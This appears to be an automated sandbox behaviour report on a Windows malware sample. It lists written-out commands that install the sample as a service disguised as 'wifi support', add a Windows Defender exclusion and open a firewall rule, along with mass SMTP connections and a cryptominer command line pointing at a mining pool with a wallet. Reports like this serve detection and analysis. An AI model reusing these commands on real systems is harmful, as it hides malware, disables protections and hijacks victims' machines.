Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\bssyixgu] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\bssyixgu] 'ImagePath' = '%WINDIR%\SysWOW64\bssyixgu\zcliwphq.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\bssyixgu] 'ImagePath' = '%WINDIR%\SysWOW64\bssyixgu\zcliwphq.exe'
Creates the following services
- 'bssyixgu' %WINDIR%\SysWOW64\bssyixgu\zcliwphq.exe /d"<Full path to file>"
- 'bssyixgu' %WINDIR%\SysWOW64\bssyixgu\zcliwphq.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\bssyixgu' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\zcliwphq.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\zcliwphq.exe to %WINDIR%\syswow64\bssyixgu\zcliwphq.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx.########e.com.cust.b.hostedemail.com':25
- 'mx.##eehans.us':25
- 'mx##.mb5p.com':25
- '10#.#7.13.33':25
- 'co####.telconet.net':25
- 'in###gram.com':443
- 'mx#.#anmail.net':25
- 'google.com':80
- 'sp###l.sk.com':25
- '17#.#13.115.157':427
- '80.#6.75.4':427
- '17#.#13.115.155':427
- '17#.#13.115.154':427
- '17#.#13.115.153':427
- 'mx##.mail.com':25
- 'sm##.#opmail.com':25
- 'mx.##.#tinternet.com':25
- 'r-####3.korea.com':25
- '17#.#13.115.156':427
- 'mx#.#aver.com':25
- 'mx.##wered.name':25
- 'cl######.eu.messagelabs.com':25
- 'go##le.ru':443
- 'go##le.at':443
- 'go##le.de':443
- '52.##3.241.7':443
- 'fa###ool.xyz':10060
- 'mx#.##eamhost.com':25
- 'ff######x-vip2.prodigy.net':25
- 'mx#.###wardemail.net':25
- 'mx######cc501.pphosted.com':25
- 'mx.###m.kgslb.com':25
- 'mx#######b02.gslb.pphosted.com':25
- 'ma##.abb-a.com':25
- 'mx#######701.gslb.pphosted.com':25
- 'mx####1.sundns.com':25
- 'mx#.qq.com':25
- 'mx#.##il.ovh.net':25
- 'mx#######102.gslb.pphosted.com':25
- 'mx##.#lackberry.com':25
- 'ma###esia.com':25
- 'al######x-vip2.prodigy.net':25
- 'go###e.co.uk':443
- 'mx#.#ate.com':25
- 'na#.###.#rotection.outlook.com':25
- 'mx#######d01.gslb.pphosted.com':25
- 'mx#######901.gslb.pphosted.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx#######601.gslb.pphosted.com':25
- 'mx.##rwalk.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'mx#######c02.gslb.pphosted.com':25
- 'mx#######001.gslb.pphosted.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'aspmx.l.google.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'ho#########.olc.protection.outlook.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx##.###us-vadesecure.net':25
- 'mx#######501.gslb.pphosted.com':25
- '17#.#13.115.158':483
- 'sv####lfheim.top':443
- 'mx#######f01.gslb.pphosted.com':25
- 'mx#######003.gslb.pphosted.com':25
- 'mx#######a01.gslb.pphosted.com':25
- 'mx#######e01.gslb.pphosted.com':25
- 'mx#######602.gslb.pphosted.com':25
- 'mx#######101.gslb.pphosted.com':25
- 'mx######b2d01.pphosted.com':25
- 'ALT2.ASPMX.L.GOOGLE.COM':25
- 'mx#######002.gslb.pphosted.com':25
- 'sm###.#ail.medcity.net':25
- 'mt##.##0.yahoodns.net':25
- 'ap#.###.#rotection.outlook.com':25
- 'mx.###taronline.com':25
- 'ma###.#rv.magticom.ge':25
- 'cm######1.mail.tiscali.it':25
- 'mx##.##il.icloud.com':25
- 'mx.#p.pl':25
- 'mx.#len.pl':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx######91d01.pphosted.com':25
- 'mx#######402.gslb.gpphosted.com':25
- 'li######.#lc.protection.outlook.com':25
- 'mx#.#######ank.com.gslb.pphosted.com':25
- 'mx#######c01.gslb.pphosted.com':25
- 'ne##lix.com':443
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- '10#.#7.13.33':25
- 'mx##.mb5p.com':25
- 'sp###l.sk.com':25
- 'alt1.aspmx.l.google.com':25
- 'mx#.#aver.com':25
- 'mx.##wered.name':25
- 'ma###esia.com':25
- 'mx#.qq.com':25
- 'mx#.#anmail.net':25
- 'in###gram.com':443
- 'mx####1.sundns.com':25
- 'mx.###m.kgslb.com':25
- 'ff######x-vip2.prodigy.net':25
- 'fa###ool.xyz':10060
- 'mx#.##eamhost.com':25
- '52.##3.241.7':443
- 'go##le.de':443
- 'go##le.at':443
- 'go##le.ru':443
- 'mx#.##il.ovh.net':25
- 'ma##.abb-a.com':25
- 'mx#######001.gslb.pphosted.com':25
- '17#.#13.115.153':427
- '17#.#13.115.155':427
- 'al######x-vip1.prodigy.net':25
- 'ho#########.olc.protection.outlook.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'aspmx.l.google.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'li######.#lc.protection.outlook.com':25
- 'ap#.###.#rotection.outlook.com':25
- 'ma###.#rv.magticom.ge':25
- '17#.#13.115.158':483
- 'mx.###taronline.com':25
- 'ALT2.ASPMX.L.GOOGLE.COM':25
- 'na#.###.#rotection.outlook.com':25
- 'al######x-vip2.prodigy.net':25
- 'mx.##.#tinternet.com':25
- 'sm##.#opmail.com':25
- '80.#6.75.4':427
- '17#.#13.115.157':427
- '17#.#13.115.156':427
- '17#.#13.115.154':427
- 'mt##.##0.yahoodns.net':25
- 'go###e.co.uk':443
- 'ne##lix.com':443
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ac###sinter.net
- DNS ASK co####.telconet.net
- DNS ASK ar##nne.com
- DNS ASK sh##hans.us
- DNS ASK mx.##eehans.us
- DNS ASK so###ail.com
- DNS ASK mx##.mb5p.com
- DNS ASK an###fire.com
- DNS ASK mx.########e.com.cust.b.hostedemail.com
- DNS ASK co#.com
- DNS ASK sk.com
- DNS ASK sp###l.sk.com
- DNS ASK la###sula.com
- DNS ASK su#.com
- DNS ASK la#####orporacion.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK ce####gistics.com
- DNS ASK in###gram.com
- DNS ASK mx#######602.gslb.pphosted.com
- DNS ASK mx#.#anmail.net
- DNS ASK o2.pl
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK we##v.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK na##.com
- DNS ASK mx#.#ate.com
- DNS ASK th####eschool.org
- DNS ASK be###outh.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK ko##a.com
- DNS ASK r-####3.korea.com
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK yo##ail.com
- DNS ASK sm##.#opmail.com
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK co##ttv.com
- DNS ASK my###mail.net
- DNS ASK google.com
- DNS ASK da##.net
- DNS ASK ws##.on.ca
- DNS ASK ny#.edu
- DNS ASK mx.##wered.name
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK ha##ail.net
- DNS ASK mx.###m.kgslb.com
- DNS ASK me####ecgroup.com
- DNS ASK ke####nenergy.com
- DNS ASK mx######cc501.pphosted.com
- DNS ASK ma###ttanbp.org
- DNS ASK mx#.###wardemail.net
- DNS ASK va##ro.com
- DNS ASK pa##ell.net
- DNS ASK el#####designgroup.com
- DNS ASK mx#.##eamhost.com
- DNS ASK fa###ool.xyz
- DNS ASK up##scs.com
- DNS ASK mo####wellmaker.com
- DNS ASK go##le.de
- DNS ASK go##le.at
- DNS ASK go##le.ru
- DNS ASK ma##.abb-a.com
- DNS ASK ww.de
- DNS ASK wa###art.com
- DNS ASK be##buy.com
- DNS ASK ge##is.com
- DNS ASK ac##ona.com
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK sk##rp.com
- DNS ASK ma###esia.com
- DNS ASK vi##o.com
- DNS ASK mx##.#lackberry.com
- DNS ASK in###rogen.com
- DNS ASK mx#######102.gslb.pphosted.com
- DNS ASK tu###ysales.com
- DNS ASK oc##ca.com
- DNS ASK mx#.##il.ovh.net
- DNS ASK fo##ail.com
- DNS ASK mx#.qq.com
- DNS ASK yo##le.com
- DNS ASK mx####1.sundns.com
- DNS ASK su##edia.ca
- DNS ASK co###edical.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK si###oster.net
- DNS ASK ab##a.com
- DNS ASK pg.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK ok##s.org
- DNS ASK te###und.org
- DNS ASK aspmx.l.google.com
- DNS ASK wa###nwyatt.com
- DNS ASK mx#######c02.gslb.pphosted.com
- DNS ASK li#e.de
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK no##alk.com
- DNS ASK mx.##rwalk.com
- DNS ASK fb.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ed###ood.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK de##.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK pe##air.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK ne####ignhigh.com
- DNS ASK wo####parsons.com
- DNS ASK sh###ross.com
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK at#.net
- DNS ASK sv####lfheim.top
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK am###trade.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK mi###pring.com
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK re###fmail.com
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK sb###obal.net
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK cs.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK or##le.com
- DNS ASK gr###ell.edu
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK ma###.#rv.magticom.ge
- DNS ASK ne###ridze.com
- DNS ASK mx.###taronline.com
- DNS ASK li#e.in
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK ro###tmail.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK hc####lthcare.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK al##ia.com
- DNS ASK mx#######002.gslb.pphosted.com
- DNS ASK li#e.fr
- DNS ASK ho##ail.de
- DNS ASK vf.##2.mo.us
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK vn##.ibm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK ic##ud.com
- DNS ASK ka###ail.com
- DNS ASK ds#.ge
- DNS ASK cm######1.mail.tiscali.it
- DNS ASK mx.#p.pl
- DNS ASK we###fargo.com
- DNS ASK sc##pps.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK ef###tbank.com
- DNS ASK mx#.#######ank.com.gslb.pphosted.com
- DNS ASK ep###ames.com
- DNS ASK dy###ics.com
- DNS ASK mx#######402.gslb.gpphosted.com
- DNS ASK li##.com
- DNS ASK go###e.co.uk
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK es##e.com
- DNS ASK ea###link.net
- DNS ASK tl#n.pl
- DNS ASK mx.#len.pl
- DNS ASK ho###il.co.uk
- DNS ASK wp.pl
- DNS ASK mx#######003.gslb.pphosted.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK ne##lix.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\bssyixgu\zcliwphq.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\bssyixgu\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zcliwphq.exe" %WINDIR%\SysWOW64\bssyixgu\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create bssyixgu binPath= "%WINDIR%\SysWOW64\bssyixgu\zcliwphq.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description bssyixgu "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start bssyixgu' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\bssyixgu\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zcliwphq.exe" %WINDIR%\SysWOW64\bssyixgu\
- '%WINDIR%\syswow64\sc.exe' create bssyixgu binPath= "%WINDIR%\SysWOW64\bssyixgu\zcliwphq.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description bssyixgu "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start bssyixgu
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
